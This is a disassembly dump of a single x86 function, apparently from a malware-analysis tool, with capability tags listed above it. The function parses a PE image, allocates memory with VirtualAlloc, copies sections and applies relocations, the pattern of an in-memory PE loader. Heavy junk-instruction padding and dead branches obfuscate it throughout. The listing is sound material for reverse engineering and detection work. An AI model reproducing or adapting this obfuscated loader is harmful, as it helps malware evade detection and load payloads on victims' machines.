Function at 0x403ab0
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get ntdll base address
Get number of processors
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x144
mov eax, dword [ebp + 8]
vmovss xmm0, dword [0x4181b4]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181b0]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181ac]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403af5
jmp 0x403b0f
vmovss xmm0, dword [0x4181bc]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181b8]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181c0]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403b2b
jmp 0x403b45
vmovss xmm0, dword [0x4181c8]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181c4]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181cc]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403b61
jmp 0x403b7b
vmovss xmm0, dword [0x4181d4]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181d0]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181d8]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403b97
jmp 0x403bb1
vmovss xmm0, dword [0x4181e0]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181dc]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181e4]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403bcd
jmp 0x403be7
vmovss xmm0, dword [0x4181ec]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181e8]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181f8]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4181f4]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4181f0]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403c1d
jmp 0x403c37
vmovss xmm0, dword [0x418200]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4181fc]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418204]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403c53
jmp 0x403c6d
vmovss xmm0, dword [0x41820c]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418208]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418210]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403c89
jmp 0x403ca3
vmovss xmm0, dword [0x418218]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418214]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x41821c]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403cbf
jmp 0x403cd9
vmovss xmm0, dword [0x418224]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418220]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418228]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403cf5
jmp 0x403d0f
vmovss xmm0, dword [0x418230]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x41822c]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x41823c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418238]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418234]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403d45
jmp 0x403d5f
vmovss xmm0, dword [0x418244]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418240]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418248]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403d7b
jmp 0x403d95
vmovss xmm0, dword [0x418250]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x41824c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418254]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403db1
jmp 0x403dcb
vmovss xmm0, dword [0x41825c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418258]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418260]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403de7
jmp 0x403e01
vmovss xmm0, dword [0x418268]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418264]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x41826c]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403e1d
jmp 0x403e37
vmovss xmm0, dword [0x418274]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418270]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418280]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41827c]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418278]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403e6d
jmp 0x403e87
vmovss xmm0, dword [0x418288]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418284]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41828c]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403ea3
jmp 0x403ebd
vmovss xmm0, dword [0x418294]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418290]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418298]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403ed9
jmp 0x403ef3
vmovss xmm0, dword [0x4182a0]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41829c]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182a4]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403f0f
jmp 0x403f29
vmovss xmm0, dword [0x4182ac]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182a8]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182b0]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403f45
jmp 0x403f5f
vmovss xmm0, dword [0x4182b8]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182b4]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182c4]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182c0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182bc]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x403f95
jmp 0x403faf
vmovss xmm0, dword [0x4182cc]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182c8]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182d0]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x403fcb
jmp 0x403fe5
vmovss xmm0, dword [0x4182d8]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182d4]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182dc]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x404001
jmp 0x40401b
vmovss xmm0, dword [0x4182e4]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182e0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182e8]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x404037
jmp 0x404051
vmovss xmm0, dword [0x4182f0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182ec]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182f4]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x40406d
jmp 0x404087
vmovss xmm0, dword [0x4182fc]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182f8]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x418308]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418304]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418300]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x4040bd
jmp 0x4040d7
vmovss xmm0, dword [0x418310]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41830c]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418314]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x4040f3
jmp 0x40410d
vmovss xmm0, dword [0x41831c]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418318]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418320]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x404129
jmp 0x404143
vmovss xmm0, dword [0x418328]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418324]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41832c]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x40415f
jmp 0x404179
vmovss xmm0, dword [0x418334]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418330]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418338]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x404195
jmp 0x4041af
vmovss xmm0, dword [0x418340]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41833c]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41834c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418348]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418344]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x4041e5
jmp 0x4041ff
vmovss xmm0, dword [0x418354]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418350]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418358]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x40421b
jmp 0x404235
vmovss xmm0, dword [0x418360]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x41835c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418364]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x404251
jmp 0x40426b
vmovss xmm0, dword [0x41836c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418368]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418370]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x404287
jmp 0x4042a1
vmovss xmm0, dword [0x418378]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418374]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x41837c]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x4042bd
jmp 0x4042d7
vmovss xmm0, dword [0x418384]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418380]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418390]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x41838c]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x418388]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x40430d
jmp 0x404327
vmovss xmm0, dword [0x418398]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x418394]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x41839c]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x404343
jmp 0x40435d
vmovss xmm0, dword [0x4183a4]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183a0]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183a8]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x404379
jmp 0x404393
vmovss xmm0, dword [0x4183b0]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183ac]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183b4]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x4043af
jmp 0x4043c9
vmovss xmm0, dword [0x4183bc]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183b8]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183c0]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x4043e5
jmp 0x4043ff
vmovss xmm0, dword [0x4183c8]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183c4]
vmovss dword [ebp - 0x30], xmm0
inc edx
bswap ebx
or edi, 0x94
sub ebx, 0x4a
rcl ebx, 0xf9
not esi
neg edx
inc ebx
rcl edx, 0xaf
dec esi
not edi
bswap edi
not edi
or eax, 0xce
add eax, 0xbe
dec edx
bswap ebx
sub eax, 0x72
rol edi, 0x15
mov edi, 0xd4
bswap ebx
mov edx, 0xe
sub esi, 0xde
mov eax, 0x6c
inc eax
ror ebx, 0xb8
not ebx
bswap edi
inc edx
mov ebx, 0xbb
sbb edi, 0xdc
inc eax
imul edx
not edi
inc esi
inc edx
rcr edx, 0xf3
mov edi, 0x22
and edi, 0x89
not edi
add ebx, 0x79
or edx, 0xc2
imul edx
or edx, 0x77
imul edi
rol edx, 0x2b
dec edx
rol edi, 0x5c
rcr ebx, 0xbc
imul edx
bswap edx
imul ebx
imul esi
rcl edx, 0xc5
imul edx
sbb edi, 0x72
inc esi
neg edi
dec ebx
mov esi, 0xcd
bswap edi
dec edi
rcr edi, 0x34
not edi
and edx, 0x4d
rcr eax, 0x8d
mov esi, 0x72
and esi, 0xe3
bswap ebx
and edx, 0x19
imul esi
dec eax
ror ebx, 0x4c
sub eax, 0x5a
rol edi, 0xd5
dec ebx
inc edx
dec esi
or eax, 0xcd
inc edi
inc edx
dec eax
inc edx
imul edx
rcr edi, 0x3c
neg eax
dec esi
imul esi
dec edi
not ebx
rcr edi, 0xea
neg edi
mov edi, 0x19
neg edi
and edx, 0xa
imul ebx
inc ebx
sub edx, 0x5d
and eax, 0xd6
neg edi
dec ebx
bswap esi
neg eax
not ebx
bswap eax
sbb ebx, 0x5f
sbb eax, 0xf2
bswap edi
mov ebx, 0xb2
inc eax
add edi, 0x60
rcl esi, 0xa3
rol esi, 0x77
imul esi
neg edx
inc esi
neg esi
sbb ebx, 0xa3
sub edi, 0xd2
neg edx
neg ebx
dec ebx
mov ebx, 0xb9
rcr edx, 0xec
inc eax
ror edi, 0xff
or eax, 0xda
imul eax
add eax, 0xd9
inc ebx
neg esi
rcl eax, 0xbf
bswap ebx
imul eax
sub esi, 3
mov edx, 0x84
and edi, 0
imul ebx
neg edi
inc esi
rol esi, 0x20
dec edi
sub edx, 0x54
and edi, 0x7b
add esi, 0x26
rcr edi, 0x56
bswap esi
neg edx
dec eax
mov eax, 0xdd
dec eax
sbb esi, 0xc0
inc edi
bswap edi
not ebx
ror ebx, 0xf4
and esi, 0xc5
not ebx
sub eax, 0x48
sub edx, 0xbf
dec edx
neg esi
rcl esi, 0x46
inc eax
add eax, 0x33
bswap esi
dec ebx
and edx, 0x17
inc edx
and ebx, 0x5b
rol edi, 0x6b
sub eax, 0x47
mov edi, 0x57
imul edx
not esi
or eax, 0x37
bswap ebx
add esi, 0x62
and esi, 0xcb
bswap edi
rol edx, 0x1a
bswap eax
imul ebx
and eax, 7
bswap edi
and eax, 0xef
bswap edx
or edi, 0xee
sbb edi, 0xd0
inc ebx
and ebx, 0x69
inc edx
dec ebx
and edx, 0x81
and esi, 0x37
inc esi
not eax
rcr edi, 0x15
dec eax
bswap edi
mov dword [ebp - 0x10], eax
lea eax, section..data
mov dword [esp], eax
mov dword [esp + 4], 0x60800
call fcn.00403820
lea eax, section..data
mov dword [ebp + 8], eax
rcr edx, 0xfe
sub edx, 0x83
mov edi, 3
not ebx
mov edi, 0x25
rol edi, 0x76
add esi, 0x30
not edi
bswap esi
neg edx
or esi, 0x4f
neg edx
or eax, 0x47
neg eax
rcr ebx, 0xd6
mov edx, 0x28
and eax, 0x1c
and edi, 0xf1
not edx
rcr edx, 0xc0
imul eax
add esi, 0xf8
rcl edx, 0xb5
neg eax
rcl eax, 0x4b
rcr esi, 0xe7
imul edi
mov edx, 0x23
neg eax
ror esi, 0x8f
bswap esi
rol eax, 0x14
not edx
add eax, 4
add esi, 0x36
sub edi, 0x9e
add edi, 0xff
bswap esi
add edx, 0x3d
rcl eax, 0x7c
dec esi
neg edx
rol edi, 0x9b
add eax, 0xda
neg ebx
bswap esi
sub edx, 0x28
dec eax
mov eax, 0x32
add edi, 0x42
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x34]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
cmp dword [eax], 0x4550
je 0x404702
mov dword [ebp - 0x10], 1
jmp 0x405b1c
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x40], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x3c], 0
je 0x40473a
xor eax, eax
mov dword [ebp - 0x138], eax
jmp 0x404746
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x138]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x3c], 0
jne 0x40479a
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ecx + 0x34]
je 0x40479a
mov dword [ebp - 0x10], 2
jmp 0x405b1c
bswap edi
and edi, 0xc3
neg edi
bswap edx
rcr edi, 0xad
sbb ebx, 0x36
rcr eax, 0x42
not esi
rcl eax, 0x68
neg edi
sub esi, 0xc1
mov eax, 0xd7
imul esi
inc esi
sub esi, 0x1f
add eax, 0x3b
dec edi
neg edx
bswap eax
imul eax
ror eax, 0xca
dec edi
not ebx
imul edx
and edx, 0xbd
neg eax
rcr edx, 0xf2
inc ebx
and ebx, 0xa1
inc edx
bswap ebx
mov ebx, 0x14
dec eax
and ebx, 0x76
imul esi
inc edx
and ebx, 0x67
sbb eax, 0xdf
mov edi, 0xca
imul ebx
rol eax, 0x46
rol esi, 0x4d
bswap ebx
rol ebx, 0x1f
neg esi
dec edx
and edi, 0x35
ror ebx, 0x5f
add edx, 0xcd
rcr esi, 0x44
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x44]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00403a80
rol eax, 0x9e
not esi
neg esi
imul edi
inc ebx
bswap edx
or edi, 0xea
neg ebx
bswap eax
inc ebx
ror edi, 0xac
inc edi
mov edi, 0x15
inc edi
neg edi
bswap edx
imul edi
imul esi
sbb esi, 0x2a
dec esi
inc ebx
inc eax
add edx, 0x11
neg edi
inc edx
imul eax
not ebx
bswap edi
mov ebx, 0x84
imul esi
ror ebx, 0xab
and eax, 0x24
neg esi
mov esi, 0x93
bswap edx
not ebx
mov esi, 0xda
bswap eax
inc eax
add edi, 0x2e
imul ebx
bswap eax
not eax
dec edx
or eax, 0xc8
imul edx
and eax, 0xa
and ebx, 0xcb
not edx
inc ebx
dec edi
dec edx
rcr esi, 0xb3
neg edx
sub ebx, 0xe2
sbb edx, 0xa2
and esi, 0x8b
neg edx
dec ebx
rcr ebx, 0x74
and esi, 0xc7
and ebx, 0xd1
not ebx
not esi
not edi
bswap edx
add ebx, 0x27
rol eax, 0xb9
mov edi, 0x4d
mov eax, 8
rcr ebx, 0xb1
not edi
rol eax, 0xb2
imul ebx
rol ebx, 0x22
add edi, 0xea
rcl edi, 0xa5
ror edx, 0xf6
dec esi
bswap ebx
not esi
dec ebx
rol ebx, 0xbb
mov eax, 0x1d
neg edx
neg edx
not esi
sbb ebx, 0x79
inc edx
imul edx
mov esi, 9
rol edi, 0xc
bswap edx
dec esi
not ebx
bswap edx
add edi, 0xef
rcl edi, 0xf1
rcl edi, 0xbd
and edi, 0xc4
and esi, 0xd8
imul edi
dec esi
dec edi
add edx, 0xe9
or eax, 0x7c
imul eax
bswap edi
rcr edx, 0x4f
rol edi, 0xa8
inc esi
neg edx
sbb edi, 0xb0
not ebx
not ebx
sbb edx, 0xad
bswap eax
add ebx, 0x7f
rcl edi, 0x77
add eax, 0xbf
add ebx, 0xeb
rcr edi, 0x61
ror edi, 0x72
dec edi
and ebx, 5
or esi, 0x5f
rol edx, 0x5d
dec esi
bswap edi
or edx, 0x6b
mov esi, 2
bswap esi
dec eax
bswap ebx
add eax, 0x1a
rol eax, 0x5f
ror esi, 0x2b
neg edi
rol esi, 0x93
neg esi
and ebx, 0x9b
rcr esi, 0xee
and eax, 0x85
bswap eax
mov esi, 0x49
add edi, 0x48
or eax, 0xca
not edx
not eax
inc eax
rcl ebx, 0xdc
not esi
ror ebx, 0x96
bswap edi
sub edi, 0xd6
add edx, 0x6f
and eax, 0x6c
add eax, 0xda
inc edx
or ebx, 0x61
dec eax
mov esi, 0x1d
imul esi
sbb edx, 0x70
rcl ebx, 0xcd
imul eax
inc esi
dec edi
neg eax
dec esi
rcl edi, 0x90
and ebx, 0xf6
sbb edx, 0x4e
and eax, 0x70
imul ebx
not edx
add esi, 0xbf
rol edi, 0xf4
inc edx
rcr ebx, 0x5b
inc eax
add ebx, 0xa0
imul edx
imul esi
neg eax
mov edi, 0x63
rcl esi, 0x6d
dec eax
bswap edi
rcr ebx, 0x60
and ebx, 0x8f
imul esi
sbb eax, 0x9f
imul ebx
rcr esi, 0x6f
or edx, 0x59
sbb esi, 0x46
imul edx
ror eax, 0xdc
dec edi
and ebx, 0x83
bswap edi
neg edx
mov esi, 0xc0
ror ebx, 0xa2
rol edi, 0x99
rcr esi, 0xc2
neg eax
bswap eax
bswap ebx
not esi
imul esi
not eax
ror edx, 0x96
sbb edi, 0x88
mov esi, 0x51
rcl ebx, 0x3f
sub edi, 0x91
imul edi
dec esi
inc edx
imul ebx
imul eax
not ebx
rcl esi, 0x8b
and esi, 0xbc
inc edx
mov esi, 0x5b
add esi, 0xfd
imul eax
imul ebx
or edi, 0xd
bswap edi
rcr edi, 0x2c
sub ebx, 0x83
neg edx
bswap edi
sub edx, 0x3d
rcl edx, 0x19
sbb edx, 0x91
neg ebx
rcr edx, 0xe6
not ebx
rcr ebx, 0x95
add esi, 0x11
sub edi, 0xc9
add ebx, 0x2e
add esi, 0xf9
imul ebx
rcr edx, 0x3c
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x38]
add eax, 0x18
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x404b87
mov eax, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x4c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x48]
imul esi, dword [ebp - 0x4c], 0x28
add edx, esi
add ecx, dword [edx + 0x14]
mov edx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x48]
imul edi, dword [ebp - 0x4c], 0x28
add esi, edi
add edx, dword [esi + 0xc]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00403a80
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
jmp 0x404b2d
not edi
not esi
add esi, 0xc0
mov edx, 0x61
not edx
imul edi
not eax
sbb edi, 0xfb
dec edx
imul esi
neg eax
dec edi
inc ebx
ror esi, 0xce
not edx
dec edx
ror edi, 0x91
mov edi, 0xb1
inc edx
rcr edx, 0x2d
sub edx, 0x21
rcl edi, 0x65
rol ebx, 0xa7
and eax, 0x8f
neg edx
ror edx, 0x60
add esi, 0x71
imul eax
add eax, 0xf9
bswap edx
sbb ebx, 0xfa
inc eax
dec eax
mov esi, 0x31
not edx
dec edx
imul ebx
sbb edx, 0x58
neg edi
neg edx
add esi, 0x2c
inc esi
neg esi
sbb edi, 0xd4
dec edi
rcr eax, 0xda
rol edi, 0x6b
add esi, 0x39
and edx, 0x53
sub edi, 0xf7
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ecx + 0x34]
je 0x404ce1
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], 0
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x3c]
jae 0x404cdc
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x54]
add eax, dword [ecx]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x54]
add eax, 8
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x60]
jge 0x404cc5
mov eax, dword [ebp - 0x64]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x404cae
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x64]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
add eax, 2
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x68]
add eax, 1
mov dword [ebp - 0x68], eax
jmp 0x404c75
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x58]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x54], eax
jmp 0x404c40
jmp 0x404ce1
mov edi, 0x27
mov eax, 0xa3
rcl edx, 0x97
inc edi
rol edx, 0x76
neg edx
not ebx
rcr eax, 0x26
add ebx, 0x54
rcr ebx, 0x8e
sbb eax, 0x60
not eax
sub edx, 0x1d
bswap esi
dec edi
neg edx
sub ebx, 0x34
imul edi
bswap edx
not esi
inc eax
bswap esi
neg edx
inc ebx
neg edx
not edi
mov eax, 0xb2
rol edi, 0x8f
add esi, 0x30
dec edx
rol edx, 0xa0
mov edi, 0xb6
rol edi, 0xfa
dec edi
add ebx, 0xb0
neg edx
dec esi
inc ebx
and edx, 0x41
imul edi
not ebx
inc edi
and eax, 0xca
or ebx, 0xaa
or esi, 0xc1
or edi, 0x2f
imul ebx
imul eax
rol edi, 0x4c
or edx, 0x87
rol eax, 0xab
or ebx, 0x56
inc edi
or ebx, 4
inc eax
not esi
neg edx
neg eax
or esi, 0x1c
imul esi
sbb esi, 0x58
neg esi
bswap esi
and ebx, 0xe8
not esi
bswap esi
rcr ebx, 0x3f
imul eax
not ebx
sbb eax, 0x63
rol ebx, 0x1e
and edi, 0xc8
bswap ebx
inc esi
dec ebx
dec esi
sbb esi, 0x3e
rcr esi, 0x95
ror ebx, 0xeb
neg esi
inc esi
mov eax, 0x20
ror ebx, 0xe1
sbb edi, 6
and edx, 0xf6
rcr edx, 0xa1
rcl ebx, 0xcc
dec ebx
rol eax, 0x50
dec eax
dec esi
bswap edi
dec edx
bswap ebx
not ebx
ror ebx, 0x9c
imul edx
dec eax
and eax, 0x65
bswap edx
ror eax, 0x86
mov edi, 0xc2
bswap eax
inc eax
sbb esi, 0xee
not esi
or edx, 0xc6
sub edi, 0x4c
bswap ebx
rcl edi, 0x19
sub edi, 0xac
sbb esi, 0xd3
and edi, 0x9b
neg edi
dec edx
neg edx
add eax, 0xbb
add esi, 0xc9
not ebx
ror ebx, 0x3f
rcr edi, 0x3c
dec esi
not ebx
imul esi
imul edx
sub edi, 0x30
dec edx
or eax, 0xc4
rol edi, 0xea
rcr edi, 0x35
not eax
and esi, 0xa5
bswap eax
